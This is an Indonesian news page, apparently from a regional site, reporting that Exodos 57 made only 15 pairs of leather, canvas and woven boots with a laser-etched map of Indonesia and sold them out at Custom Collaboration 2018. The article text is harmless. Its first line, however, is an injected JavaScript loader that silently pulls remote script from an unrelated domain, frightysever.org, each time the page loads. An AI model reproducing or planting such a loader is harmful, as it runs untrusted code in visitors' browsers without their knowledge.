(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Dibuat Cuma 15 Pasang, Sepatu Peta Indonesia Exodos 57 Langsung Habis


Banyak hal menarik yang bisa ditemui dalam acara Custom Collaboration 2018 di Lippo Mall Kemang. Dari sekian banyak produk custom, salah satu yang unik adalah sepatu boots bergambar peta Indonesia buatan Exodos 57. Sepatu yang hanya dibuat 15 pasang ini memadukan bahan kulit, kanvas, serta tenun tradisional Indonesia. Pada kulit belakang sepatu, di bagian tumit, digambarkan peta Indonesia menggunakan laser. Lebih istimewa lagi, corak kain tenun di setiap sepatu juga berbeda. Artinya tidak ada sepatu seri ini yang benar-benar sama.

“Produk ini kami dedikasikan sebagai bentuk kecintaan kami terhadap produk lokal Indonesia dan kebanggaan kami sebagai anak bangsa,” ujar Yudo Septianto Pandji, humas Exodos 57, seperti dirilis Kompas.com.

“Perpaduan material leather, kanvas, dan kain tenun menunjukkan berbagai macam perbedaan yang ada dan disatukan dalam satu kesatuan yaitu bangsa Indonesia. Makanya sepatu ini dinamai ‘Kearifan Lokal’,” papar Yudo lebih lanjut. “Nah bagian kesatuan itu lalu dirangkum dalam gambar peta Indonesia yang kita buat pada sepatu tersebut,” ujarnya.

Karena merupakan barang istimewa dan terbatas, seri ini dijual sedikit lebih mahal dibanding seri Exodos 57 lain. Bila harga seri lainnya berkisar antara 600-an ribu hingga hampir 800-an ribu, seri Peta Indonesia ini diharga Rp 1,2 juta.
Walau begitu, sejak dimunculkan dalam acara Custom Collaboration yang berlangsung 6-9 September 2018, seri ini langsung habis terjual. Hanya tinggal satu pasang untuk display. “Beberapa pembelinya justru orang asing yang menghadiri acara itu. Dan ternyata permintaan terhadap seri itu melebihi dugaan kami,” ujar Yudo. Artinya bila kamu tertarik, mungkin kamu harus menunggu Exodos 57 mengeluarkan seri serupa lagi. (kmps)

Reporter : Kmps
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

19 menit ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

1 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

2 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

6 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

6 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

7 jam ago

This website uses cookies.